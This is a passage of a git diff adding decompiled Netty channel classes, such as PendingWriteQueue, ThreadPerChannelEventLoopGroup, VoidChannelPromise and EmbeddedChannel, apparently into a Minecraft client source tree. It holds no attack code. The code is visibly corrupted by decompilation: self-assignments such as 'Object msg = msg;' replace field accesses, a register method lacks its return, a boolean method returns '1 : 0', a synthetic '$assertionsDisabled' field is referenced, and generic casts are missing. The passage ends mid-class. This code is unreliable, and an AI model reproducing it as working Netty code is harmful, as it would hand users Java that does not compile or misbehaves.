+  
+
+
+
+
+
+
+  public ChannelFuture removeAndWriteAll()
+  {
+    assert (ctx.executor().inEventLoop());
+    PendingWrite write = head;
+    if (write == null)
+    {
+      return null;
+    }
+    if (size == 1)
+    {
+      return removeAndWrite();
+    }
+    ChannelPromise p = ctx.newPromise();
+    ChannelPromiseAggregator aggregator = new ChannelPromiseAggregator(p);
+    while (write != null) {
+      PendingWrite next = next;
+      Object msg = msg;
+      ChannelPromise promise = promise;
+      recycle(write);
+      ctx.write(msg, promise);
+      aggregator.add(new ChannelPromise[] { promise });
+      write = next;
+    }
+    assertEmpty();
+    return p;
+  }
+  
+  private void assertEmpty() {
+    assert ((tail == null) && (head == null) && (size == 0));
+  }
+  
+
+
+
+
+
+
+  public ChannelFuture removeAndWrite()
+  {
+    assert (ctx.executor().inEventLoop());
+    PendingWrite write = head;
+    if (write == null) {
+      return null;
+    }
+    Object msg = msg;
+    ChannelPromise promise = promise;
+    recycle(write);
+    return ctx.write(msg, promise);
+  }
+  
+
+
+
+
+
+  public ChannelPromise remove()
+  {
+    assert (ctx.executor().inEventLoop());
+    PendingWrite write = head;
+    if (write == null) {
+      return null;
+    }
+    ChannelPromise promise = promise;
+    ReferenceCountUtil.safeRelease(msg);
+    recycle(write);
+    return promise;
+  }
+  
+
+
+  public Object current()
+  {
+    assert (ctx.executor().inEventLoop());
+    PendingWrite write = head;
+    if (write == null) {
+      return null;
+    }
+    return msg;
+  }
+  
+  private void recycle(PendingWrite write) {
+    PendingWrite next = next;
+    
+    buffer.decrementPendingOutboundBytes(size);
+    write.recycle();
+    size -= 1;
+    if (next == null)
+    {
+      head = (this.tail = null);
+      if ((!$assertionsDisabled) && (size != 0)) throw new AssertionError();
+    } else {
+      head = next;
+      assert (size > 0);
+    }
+  }
+  
+  private static void safeFail(ChannelPromise promise, Throwable cause) {
+    if ((!(promise instanceof VoidChannelPromise)) && (!promise.tryFailure(cause))) {
+      logger.warn("Failed to mark a promise as failure because it's done already: {}", promise, cause);
+    }
+  }
+  
+
+
+  static final class PendingWrite
+  {
+    private static final Recycler<PendingWrite> RECYCLER = new Recycler()
+    {
+      protected PendingWriteQueue.PendingWrite newObject(Recycler.Handle handle) {
+        return new PendingWriteQueue.PendingWrite(handle, null);
+      }
+    };
+    private final Recycler.Handle handle;
+    private PendingWrite next;
+    private long size;
+    private ChannelPromise promise;
+    private Object msg;
+    
+    private PendingWrite(Recycler.Handle handle)
+    {
+      this.handle = handle;
+    }
+    
+    static PendingWrite newInstance(Object msg, int size, ChannelPromise promise) {
+      PendingWrite write = (PendingWrite)RECYCLER.get();
+      size = size;
+      msg = msg;
+      promise = promise;
+      return write;
+    }
+    
+    private void recycle() {
+      size = 0L;
+      next = null;
+      msg = null;
+      promise = null;
+      RECYCLER.recycle(this, handle);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/RecvByteBufAllocator.java b/src/minecraft/io/netty/channel/RecvByteBufAllocator.java
new file mode 100644
index 0000000..0819809
--- /dev/null
+++ b/src/minecraft/io/netty/channel/RecvByteBufAllocator.java
@@ -0,0 +1,18 @@
+package io.netty.channel;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+
+public abstract interface RecvByteBufAllocator
+{
+  public abstract Handle newHandle();
+  
+  public static abstract interface Handle
+  {
+    public abstract ByteBuf allocate(ByteBufAllocator paramByteBufAllocator);
+    
+    public abstract int guess();
+    
+    public abstract void record(int paramInt);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ReflectiveChannelFactory.java b/src/minecraft/io/netty/channel/ReflectiveChannelFactory.java
new file mode 100644
index 0000000..4f61e1e
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ReflectiveChannelFactory.java
@@ -0,0 +1,48 @@
+package io.netty.channel;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ReflectiveChannelFactory<T extends Channel>
+  implements ChannelFactory<T>
+{
+  private final Class<? extends T> clazz;
+  
+  public ReflectiveChannelFactory(Class<? extends T> clazz)
+  {
+    if (clazz == null) {
+      throw new NullPointerException("clazz");
+    }
+    this.clazz = clazz;
+  }
+  
+  public T newChannel()
+  {
+    try {
+      return (Channel)clazz.newInstance();
+    } catch (Throwable t) {
+      throw new ChannelException("Unable to create Channel from class " + clazz, t);
+    }
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(clazz) + ".class";
+  }
+}
diff --git a/src/minecraft/io/netty/channel/SelectStrategy.java b/src/minecraft/io/netty/channel/SelectStrategy.java
new file mode 100644
index 0000000..49489d1
--- /dev/null
+++ b/src/minecraft/io/netty/channel/SelectStrategy.java
@@ -0,0 +1,12 @@
+package io.netty.channel;
+
+import io.netty.util.IntSupplier;
+
+public abstract interface SelectStrategy
+{
+  public static final int SELECT = -1;
+  public static final int CONTINUE = -2;
+  
+  public abstract int calculateStrategy(IntSupplier paramIntSupplier, boolean paramBoolean)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/channel/SelectStrategyFactory.java b/src/minecraft/io/netty/channel/SelectStrategyFactory.java
new file mode 100644
index 0000000..68456f2
--- /dev/null
+++ b/src/minecraft/io/netty/channel/SelectStrategyFactory.java
@@ -0,0 +1,6 @@
+package io.netty.channel;
+
+public abstract interface SelectStrategyFactory
+{
+  public abstract SelectStrategy newSelectStrategy();
+}
diff --git a/src/minecraft/io/netty/channel/ServerChannel.java b/src/minecraft/io/netty/channel/ServerChannel.java
new file mode 100644
index 0000000..b88cb78
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ServerChannel.java
@@ -0,0 +1,5 @@
+package io.netty.channel;
+
+public abstract interface ServerChannel
+  extends Channel
+{}
diff --git a/src/minecraft/io/netty/channel/SimpleChannelInboundHandler.java b/src/minecraft/io/netty/channel/SimpleChannelInboundHandler.java
new file mode 100644
index 0000000..76fc920
--- /dev/null
+++ b/src/minecraft/io/netty/channel/SimpleChannelInboundHandler.java
@@ -0,0 +1,119 @@
+package io.netty.channel;
+
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.internal.TypeParameterMatcher;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SimpleChannelInboundHandler<I>
+  extends ChannelInboundHandlerAdapter
+{
+  private final TypeParameterMatcher matcher;
+  private final boolean autoRelease;
+  
+  protected SimpleChannelInboundHandler()
+  {
+    this(true);
+  }
+  
+
+
+
+
+
+  protected SimpleChannelInboundHandler(boolean autoRelease)
+  {
+    matcher = TypeParameterMatcher.find(this, SimpleChannelInboundHandler.class, "I");
+    this.autoRelease = autoRelease;
+  }
+  
+
+
+  protected SimpleChannelInboundHandler(Class<? extends I> inboundMessageType)
+  {
+    this(inboundMessageType, true);
+  }
+  
+
+
+
+
+
+
+  protected SimpleChannelInboundHandler(Class<? extends I> inboundMessageType, boolean autoRelease)
+  {
+    matcher = TypeParameterMatcher.get(inboundMessageType);
+    this.autoRelease = autoRelease;
+  }
+  
+
+
+  public boolean acceptInboundMessage(Object msg)
+    throws Exception
+  {
+    return matcher.match(msg);
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
+  {
+    boolean release = true;
+    try {
+      if (acceptInboundMessage(msg))
+      {
+        I imsg = msg;
+        channelRead0(ctx, imsg);
+      } else {
+        release = false;
+        ctx.fireChannelRead(msg);
+      }
+    } finally {
+      if ((autoRelease) && (release)) {
+        ReferenceCountUtil.release(msg);
+      }
+    }
+  }
+  
+  protected abstract void channelRead0(ChannelHandlerContext paramChannelHandlerContext, I paramI)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/channel/SingleThreadEventLoop.java b/src/minecraft/io/netty/channel/SingleThreadEventLoop.java
new file mode 100644
index 0000000..627780e
--- /dev/null
+++ b/src/minecraft/io/netty/channel/SingleThreadEventLoop.java
@@ -0,0 +1,72 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.SingleThreadEventExecutor;
+import java.util.concurrent.ThreadFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class SingleThreadEventLoop
+  extends SingleThreadEventExecutor
+  implements EventLoop
+{
+  protected SingleThreadEventLoop(EventLoopGroup parent, ThreadFactory threadFactory, boolean addTaskWakesUp)
+  {
+    super(parent, threadFactory, addTaskWakesUp);
+  }
+  
+  public EventLoopGroup parent()
+  {
+    return (EventLoopGroup)super.parent();
+  }
+  
+  public EventLoop next()
+  {
+    return (EventLoop)super.next();
+  }
+  
+  public ChannelFuture register(Channel channel)
+  {
+    return register(channel, new DefaultChannelPromise(channel, this));
+  }
+  
+  public ChannelFuture register(Channel channel, ChannelPromise promise)
+  {
+    if (channel == null) {
+      throw new NullPointerException("channel");
+    }
+    if (promise == null) {
+      throw new NullPointerException("promise");
+    }
+    
+    channel.unsafe().register(this, promise);
+    return promise;
+  }
+  
+  protected boolean wakesUpForTask(Runnable task)
+  {
+    return !(task instanceof NonWakeupRunnable);
+  }
+  
+  static abstract interface NonWakeupRunnable
+    extends Runnable
+  {}
+}
diff --git a/src/minecraft/io/netty/channel/SucceededChannelFuture.java b/src/minecraft/io/netty/channel/SucceededChannelFuture.java
new file mode 100644
index 0000000..50a2bc2
--- /dev/null
+++ b/src/minecraft/io/netty/channel/SucceededChannelFuture.java
@@ -0,0 +1,45 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.EventExecutor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SucceededChannelFuture
+  extends CompleteChannelFuture
+{
+  SucceededChannelFuture(Channel channel, EventExecutor executor)
+  {
+    super(channel, executor);
+  }
+  
+  public Throwable cause()
+  {
+    return null;
+  }
+  
+  public boolean isSuccess()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ThreadPerChannelEventLoop.java b/src/minecraft/io/netty/channel/ThreadPerChannelEventLoop.java
new file mode 100644
index 0000000..bfd8e65
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ThreadPerChannelEventLoop.java
@@ -0,0 +1,81 @@
+package io.netty.channel;
+
+import java.util.Queue;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ThreadPerChannelEventLoop
+  extends SingleThreadEventLoop
+{
+  private final ThreadPerChannelEventLoopGroup parent;
+  private Channel ch;
+  
+  public ThreadPerChannelEventLoop(ThreadPerChannelEventLoopGroup parent)
+  {
+    super(parent, threadFactory, true);
+    this.parent = parent;
+  }
+  
+  public ChannelFuture register(Channel channel, ChannelPromise promise)
+  {
+    super.register(channel, promise).addListener(new ChannelFutureListener()
+    {
+      public void operationComplete(ChannelFuture future) throws Exception {
+        if (future.isSuccess()) {
+          ch = future.channel();
+        } else {
+          deregister();
+        }
+      }
+    });
+  }
+  
+  protected void run()
+  {
+    for (;;) {
+      Runnable task = takeTask();
+      if (task != null) {
+        task.run();
+        updateLastExecutionTime();
+      }
+      
+      Channel ch = this.ch;
+      if (isShuttingDown()) {
+        if (ch != null) {
+          ch.unsafe().close(ch.unsafe().voidPromise());
+        }
+        if (confirmShutdown()) {
+          break;
+        }
+      }
+      else if (ch != null)
+      {
+        if (!ch.isRegistered()) {
+          runAllTasks();
+          deregister();
+        }
+      }
+    }
+  }
+  
+  protected void deregister()
+  {
+    ch = null;
+    parent.activeChildren.remove(this);
+    parent.idleChildren.add(this);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/ThreadPerChannelEventLoopGroup.java b/src/minecraft/io/netty/channel/ThreadPerChannelEventLoopGroup.java
new file mode 100644
index 0000000..4f5d7cf
--- /dev/null
+++ b/src/minecraft/io/netty/channel/ThreadPerChannelEventLoopGroup.java
@@ -0,0 +1,295 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.AbstractEventExecutorGroup;
+import io.netty.util.concurrent.DefaultPromise;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.FutureListener;
+import io.netty.util.concurrent.GlobalEventExecutor;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.ReadOnlyIterator;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Queue;
+import java.util.Set;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.Executors;
+import java.util.concurrent.RejectedExecutionException;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ThreadPerChannelEventLoopGroup
+  extends AbstractEventExecutorGroup
+  implements EventLoopGroup
+{
+  private final Object[] childArgs;
+  private final int maxChannels;
+  final ThreadFactory threadFactory;
+  final Set<ThreadPerChannelEventLoop> activeChildren = Collections.newSetFromMap(PlatformDependent.newConcurrentHashMap());
+  
+  final Queue<ThreadPerChannelEventLoop> idleChildren = new ConcurrentLinkedQueue();
+  
+  private final ChannelException tooManyChannels;
+  private volatile boolean shuttingDown;
+  private final Promise<?> terminationFuture = new DefaultPromise(GlobalEventExecutor.INSTANCE);
+  private final FutureListener<Object> childTerminationListener = new FutureListener()
+  {
+    public void operationComplete(Future<Object> future) throws Exception
+    {
+      if (isTerminated()) {
+        terminationFuture.trySuccess(null);
+      }
+    }
+  };
+  
+
+
+  protected ThreadPerChannelEventLoopGroup()
+  {
+    this(0);
+  }
+  
+
+
+
+
+
+
+
+
+  protected ThreadPerChannelEventLoopGroup(int maxChannels)
+  {
+    this(maxChannels, Executors.defaultThreadFactory(), new Object[0]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected ThreadPerChannelEventLoopGroup(int maxChannels, ThreadFactory threadFactory, Object... args)
+  {
+    if (maxChannels < 0) {
+      throw new IllegalArgumentException(String.format("maxChannels: %d (expected: >= 0)", new Object[] { Integer.valueOf(maxChannels) }));
+    }
+    
+    if (threadFactory == null) {
+      throw new NullPointerException("threadFactory");
+    }
+    
+    if (args == null) {
+      childArgs = EmptyArrays.EMPTY_OBJECTS;
+    } else {
+      childArgs = ((Object[])args.clone());
+    }
+    
+    this.maxChannels = maxChannels;
+    this.threadFactory = threadFactory;
+    
+    tooManyChannels = new ChannelException("too many channels (max: " + maxChannels + ')');
+    tooManyChannels.setStackTrace(EmptyArrays.EMPTY_STACK_TRACE);
+  }
+  
+
+
+  protected ThreadPerChannelEventLoop newChild(Object... args)
+    throws Exception
+  {
+    return new ThreadPerChannelEventLoop(this);
+  }
+  
+  public Iterator<EventExecutor> iterator()
+  {
+    return new ReadOnlyIterator(activeChildren.iterator());
+  }
+  
+  public EventLoop next()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public Future<?> shutdownGracefully(long quietPeriod, long timeout, TimeUnit unit)
+  {
+    shuttingDown = true;
+    
+    for (EventLoop l : activeChildren) {
+      l.shutdownGracefully(quietPeriod, timeout, unit);
+    }
+    for (EventLoop l : idleChildren) {
+      l.shutdownGracefully(quietPeriod, timeout, unit);
+    }
+    
+
+    if (isTerminated()) {
+      terminationFuture.trySuccess(null);
+    }
+    
+    return terminationFuture();
+  }
+  
+  public Future<?> terminationFuture()
+  {
+    return terminationFuture;
+  }
+  
+  @Deprecated
+  public void shutdown()
+  {
+    shuttingDown = true;
+    
+    for (EventLoop l : activeChildren) {
+      l.shutdown();
+    }
+    for (EventLoop l : idleChildren) {
+      l.shutdown();
+    }
+    
+
+    if (isTerminated()) {
+      terminationFuture.trySuccess(null);
+    }
+  }
+  
+  public boolean isShuttingDown()
+  {
+    for (EventLoop l : activeChildren) {
+      if (!l.isShuttingDown()) {
+        return false;
+      }
+    }
+    for (EventLoop l : idleChildren) {
+      if (!l.isShuttingDown()) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  public boolean isShutdown()
+  {
+    for (EventLoop l : activeChildren) {
+      if (!l.isShutdown()) {
+        return false;
+      }
+    }
+    for (EventLoop l : idleChildren) {
+      if (!l.isShutdown()) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  public boolean isTerminated()
+  {
+    for (EventLoop l : activeChildren) {
+      if (!l.isTerminated()) {
+        return false;
+      }
+    }
+    for (EventLoop l : idleChildren) {
+      if (!l.isTerminated()) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  public boolean awaitTermination(long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    long deadline = System.nanoTime() + unit.toNanos(timeout);
+    for (EventLoop l : activeChildren) {
+      for (;;) {
+        long timeLeft = deadline - System.nanoTime();
+        if (timeLeft <= 0L) {
+          return isTerminated();
+        }
+        if (l.awaitTermination(timeLeft, TimeUnit.NANOSECONDS)) {
+          break;
+        }
+      }
+    }
+    for (EventLoop l : idleChildren) {
+      for (;;) {
+        long timeLeft = deadline - System.nanoTime();
+        if (timeLeft <= 0L) {
+          return isTerminated();
+        }
+        if (l.awaitTermination(timeLeft, TimeUnit.NANOSECONDS)) {
+          break;
+        }
+      }
+    }
+    return isTerminated();
+  }
+  
+  public ChannelFuture register(Channel channel)
+  {
+    if (channel == null) {
+      throw new NullPointerException("channel");
+    }
+    try {
+      EventLoop l = nextChild();
+      return l.register(channel, new DefaultChannelPromise(channel, l));
+    } catch (Throwable t) {
+      return new FailedChannelFuture(channel, GlobalEventExecutor.INSTANCE, t);
+    }
+  }
+  
+  public ChannelFuture register(Channel channel, ChannelPromise promise)
+  {
+    if (channel == null) {
+      throw new NullPointerException("channel");
+    }
+    try {
+      return nextChild().register(channel, promise);
+    } catch (Throwable t) {
+      promise.setFailure(t); }
+    return promise;
+  }
+  
+  private EventLoop nextChild() throws Exception
+  {
+    if (shuttingDown) {
+      throw new RejectedExecutionException("shutting down");
+    }
+    
+    ThreadPerChannelEventLoop loop = (ThreadPerChannelEventLoop)idleChildren.poll();
+    if (loop == null) {
+      if ((maxChannels > 0) && (activeChildren.size() >= maxChannels)) {
+        throw tooManyChannels;
+      }
+      loop = newChild(childArgs);
+      loop.terminationFuture().addListener(childTerminationListener);
+    }
+    activeChildren.add(loop);
+    return loop;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/VoidChannelPromise.java b/src/minecraft/io/netty/channel/VoidChannelPromise.java
new file mode 100644
index 0000000..70215ce
--- /dev/null
+++ b/src/minecraft/io/netty/channel/VoidChannelPromise.java
@@ -0,0 +1,205 @@
+package io.netty.channel;
+
+import io.netty.util.concurrent.AbstractFuture;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.GenericFutureListener;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class VoidChannelPromise
+  extends AbstractFuture<Void>
+  implements ChannelPromise
+{
+  private final Channel channel;
+  private final boolean fireException;
+  
+  VoidChannelPromise(Channel channel, boolean fireException)
+  {
+    if (channel == null) {
+      throw new NullPointerException("channel");
+    }
+    this.channel = channel;
+    this.fireException = fireException;
+  }
+  
+  public VoidChannelPromise addListener(GenericFutureListener<? extends Future<? super Void>> listener)
+  {
+    fail();
+    return this;
+  }
+  
+  public VoidChannelPromise addListeners(GenericFutureListener<? extends Future<? super Void>>... listeners)
+  {
+    fail();
+    return this;
+  }
+  
+
+  public VoidChannelPromise removeListener(GenericFutureListener<? extends Future<? super Void>> listener)
+  {
+    return this;
+  }
+  
+
+  public VoidChannelPromise removeListeners(GenericFutureListener<? extends Future<? super Void>>... listeners)
+  {
+    return this;
+  }
+  
+  public VoidChannelPromise await() throws InterruptedException
+  {
+    if (Thread.interrupted()) {
+      throw new InterruptedException();
+    }
+    return this;
+  }
+  
+  public boolean await(long timeout, TimeUnit unit)
+  {
+    fail();
+    return false;
+  }
+  
+  public boolean await(long timeoutMillis)
+  {
+    fail();
+    return false;
+  }
+  
+  public VoidChannelPromise awaitUninterruptibly()
+  {
+    fail();
+    return this;
+  }
+  
+  public boolean awaitUninterruptibly(long timeout, TimeUnit unit)
+  {
+    fail();
+    return false;
+  }
+  
+  public boolean awaitUninterruptibly(long timeoutMillis)
+  {
+    fail();
+    return false;
+  }
+  
+  public Channel channel()
+  {
+    return channel;
+  }
+  
+  public boolean isDone()
+  {
+    return false;
+  }
+  
+  public boolean isSuccess()
+  {
+    return false;
+  }
+  
+  public boolean setUncancellable()
+  {
+    return true;
+  }
+  
+  public boolean isCancellable()
+  {
+    return false;
+  }
+  
+  public boolean isCancelled()
+  {
+    return false;
+  }
+  
+  public Throwable cause()
+  {
+    return null;
+  }
+  
+  public VoidChannelPromise sync()
+  {
+    fail();
+    return this;
+  }
+  
+  public VoidChannelPromise syncUninterruptibly()
+  {
+    fail();
+    return this;
+  }
+  
+  public VoidChannelPromise setFailure(Throwable cause) {
+    fireException(cause);
+    return this;
+  }
+  
+  public VoidChannelPromise setSuccess()
+  {
+    return this;
+  }
+  
+  public boolean tryFailure(Throwable cause)
+  {
+    fireException(cause);
+    return false;
+  }
+  
+  public boolean cancel(boolean mayInterruptIfRunning)
+  {
+    return false;
+  }
+  
+  public boolean trySuccess()
+  {
+    return false;
+  }
+  
+  private static void fail() {
+    throw new IllegalStateException("void future");
+  }
+  
+  public VoidChannelPromise setSuccess(Void result)
+  {
+    return this;
+  }
+  
+  public boolean trySuccess(Void result)
+  {
+    return false;
+  }
+  
+  public Void getNow()
+  {
+    return null;
+  }
+  
+
+
+
+  private void fireException(Throwable cause)
+  {
+    if ((fireException) && (channel.isRegistered())) {
+      channel.pipeline().fireExceptionCaught(cause);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/WriteBufferWaterMark.java b/src/minecraft/io/netty/channel/WriteBufferWaterMark.java
new file mode 100644
index 0000000..def3162
--- /dev/null
+++ b/src/minecraft/io/netty/channel/WriteBufferWaterMark.java
@@ -0,0 +1,95 @@
+package io.netty.channel;
+
+
+
+
+
+
+
+
+
+
+
+public final class WriteBufferWaterMark
+{
+  private static final int DEFAULT_LOW_WATER_MARK = 32768;
+  
+
+
+
+
+
+
+
+
+
+  private static final int DEFAULT_HIGH_WATER_MARK = 65536;
+  
+
+
+
+
+
+
+
+
+  public static final WriteBufferWaterMark DEFAULT = new WriteBufferWaterMark(32768, 65536, false);
+  
+
+
+  private final int low;
+  
+
+  private final int high;
+  
+
+
+  public WriteBufferWaterMark(int low, int high)
+  {
+    this(low, high, true);
+  }
+  
+
+
+  WriteBufferWaterMark(int low, int high, boolean validate)
+  {
+    if (validate) {
+      if (low < 0) {
+        throw new IllegalArgumentException("write buffer's low water mark must be >= 0");
+      }
+      if (high < low) {
+        throw new IllegalArgumentException("write buffer's high water mark cannot be less than  low water mark (" + low + "): " + high);
+      }
+    }
+    
+
+
+    this.low = low;
+    this.high = high;
+  }
+  
+
+
+  public int low()
+  {
+    return low;
+  }
+  
+
+
+  public int high()
+  {
+    return high;
+  }
+  
+  public String toString()
+  {
+    StringBuilder builder = new StringBuilder(55).append("WriteBufferWaterMark(low: ").append(low).append(", high: ").append(high).append(")");
+    
+
+
+
+
+    return builder.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/channel/embedded/EmbeddedChannel.java b/src/minecraft/io/netty/channel/embedded/EmbeddedChannel.java
new file mode 100644
index 0000000..c93d495
--- /dev/null
+++ b/src/minecraft/io/netty/channel/embedded/EmbeddedChannel.java
@@ -0,0 +1,352 @@
+package io.netty.channel.embedded;
+
+import io.netty.channel.AbstractChannel;
+import io.netty.channel.AbstractChannel.AbstractUnsafe;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.DefaultChannelConfig;
+import io.netty.channel.EventLoop;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.RecyclableArrayList;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.net.SocketAddress;
+import java.nio.channels.ClosedChannelException;
+import java.util.ArrayDeque;
+import java.util.Queue;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EmbeddedChannel
+  extends AbstractChannel
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(EmbeddedChannel.class);
+  
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  
+  private final EmbeddedEventLoop loop = new EmbeddedEventLoop();
+  private final ChannelConfig config = new DefaultChannelConfig(this);
+  private final SocketAddress localAddress = new EmbeddedSocketAddress();
+  private final SocketAddress remoteAddress = new EmbeddedSocketAddress();
+  private final Queue<Object> inboundMessages = new ArrayDeque();
+  private final Queue<Object> outboundMessages = new ArrayDeque();
+  
+
+  private Throwable lastException;
+  
+  private int state;
+  
+
+  public EmbeddedChannel(ChannelHandler... handlers)
+  {
+    super(null);
+    
+    if (handlers == null) {
+      throw new NullPointerException("handlers");
+    }
+    
+    int nHandlers = 0;
+    ChannelPipeline p = pipeline();
+    for (ChannelHandler h : handlers) {
+      if (h == null) {
+        break;
+      }
+      nHandlers++;
+      p.addLast(new ChannelHandler[] { h });
+    }
+    
+    if (nHandlers == 0) {
+      throw new IllegalArgumentException("handlers is empty.");
+    }
+    
+    loop.register(this);
+    p.addLast(new ChannelHandler[] { new LastInboundHandler(null) });
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public ChannelConfig config()
+  {
+    return config;
+  }
+  
+  public boolean isOpen()
+  {
+    return state < 2;
+  }
+  
+  public boolean isActive()
+  {
+    return state == 1;
+  }
+  
+
+
+  public Queue<Object> inboundMessages()
+  {
+    return inboundMessages;
+  }
+  
+
+
+  @Deprecated
+  public Queue<Object> lastInboundBuffer()
+  {
+    return inboundMessages();
+  }
+  
+
+
+  public Queue<Object> outboundMessages()
+  {
+    return outboundMessages;
+  }
+  
+
+
+  @Deprecated
+  public Queue<Object> lastOutboundBuffer()
+  {
+    return outboundMessages();
+  }
+  
+
+
+  public Object readInbound()
+  {
+    return inboundMessages.poll();
+  }
+  
+
+
+  public Object readOutbound()
+  {
+    return outboundMessages.poll();
+  }
+  
+
+
+
+
+
+
+  public boolean writeInbound(Object... msgs)
+  {
+    ensureOpen();
+    if (msgs.length == 0) {
+      return !inboundMessages.isEmpty();
+    }
+    
+    ChannelPipeline p = pipeline();
+    for (Object m : msgs) {
+      p.fireChannelRead(m);
+    }
+    p.fireChannelReadComplete();
+    runPendingTasks();
+    checkException();
+    return !inboundMessages.isEmpty();
+  }
+  
+
+
+
+
+
+  public boolean writeOutbound(Object... msgs)
+  {
+    ensureOpen();
+    if (msgs.length == 0) {
+      return !outboundMessages.isEmpty();
+    }
+    
+    RecyclableArrayList futures = RecyclableArrayList.newInstance(msgs.length);
+    try {
+      for (Object m : msgs) {
+        if (m == null) {
+          break;
+        }
+        futures.add(write(m));
+      }
+      
+      flush();
+      
+      int size = futures.size();
+      for (int i = 0; i < size; i++) {
+        ChannelFuture future = (ChannelFuture)futures.get(i);
+        assert (future.isDone());
+        if (future.cause() != null) {
+          recordException(future.cause());
+        }
+      }
+      
+      runPendingTasks();
+      checkException();
+      return !outboundMessages.isEmpty() ? 1 : 0;
+    } finally {
+      futures.recycle();
+    }
+  }
+  
+
+
+
+
+
+  public boolean finish()
+  {
+    close();
+    runPendingTasks();
+    checkException();
+    return (!inboundMessages.isEmpty()) || (!outboundMessages.isEmpty());
+  }
+  
+
+  public void runPendingTasks()
+  {
+    try
+    {
+      loop.runTasks();
+    } catch (Exception e) {
+      recordException(e);
+    }
+  }
+  
+  private void recordException(Throwable cause) {
+    if (lastException == null) {
+      lastException = cause;
+    } else {
+      logger.warn("More than one exception was raised. Will report only the first one and log others.", cause);
+    }
+  }
+  
+
+
+
+
+  public void checkException()
+  {
+    Throwable t = lastException;
+    if (t == null) {
+      return;
+    }
+    
+    lastException = null;
+    
+    PlatformDependent.throwException(t);
+  }
+  
+
+
+  protected final void ensureOpen()
+  {
+    if (!isOpen()) {
+      recordException(new ClosedChannelException());
+      checkException();
+    }
+  }
+  
+  protected boolean isCompatible(EventLoop loop)
+  {
+    return loop instanceof EmbeddedEventLoop;
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return isActive() ? localAddress : null;
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return isActive() ? remoteAddress : null;
+  }
+  
+  protected void doRegister() throws Exception
+  {
+    state = 1;
+  }
+  
+  protected void doBind(SocketAddress localAddress)
+    throws Exception
+  {}
+  
+  protected void doDisconnect()
+    throws Exception
+  {
+    doClose();
+  }
+  
+  protected void doClose() throws Exception
+  {
+    state = 2;
+  }
+  
+
+  protected void doBeginRead()
+    throws Exception
+  {}
+  
+  protected AbstractChannel.AbstractUnsafe newUnsafe()
+  {
+    return new DefaultUnsafe(null);
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    for (;;) {
+      Object msg = in.current();
+      if (msg == null) {
+        break;
+      }
+      
+      ReferenceCountUtil.retain(msg);
+      outboundMessages.add(msg);
+      in.remove();
+    }
+  }
+  
+  private class DefaultUnsafe extends AbstractChannel.AbstractUnsafe { private DefaultUnsafe() { super(); }
+    
+    public void connect(SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
+      safeSetSuccess(promise);
+    }
+  }
+  
+  private final class LastInboundHandler extends ChannelInboundHandlerAdapter {
+    private LastInboundHandler() {}
+    
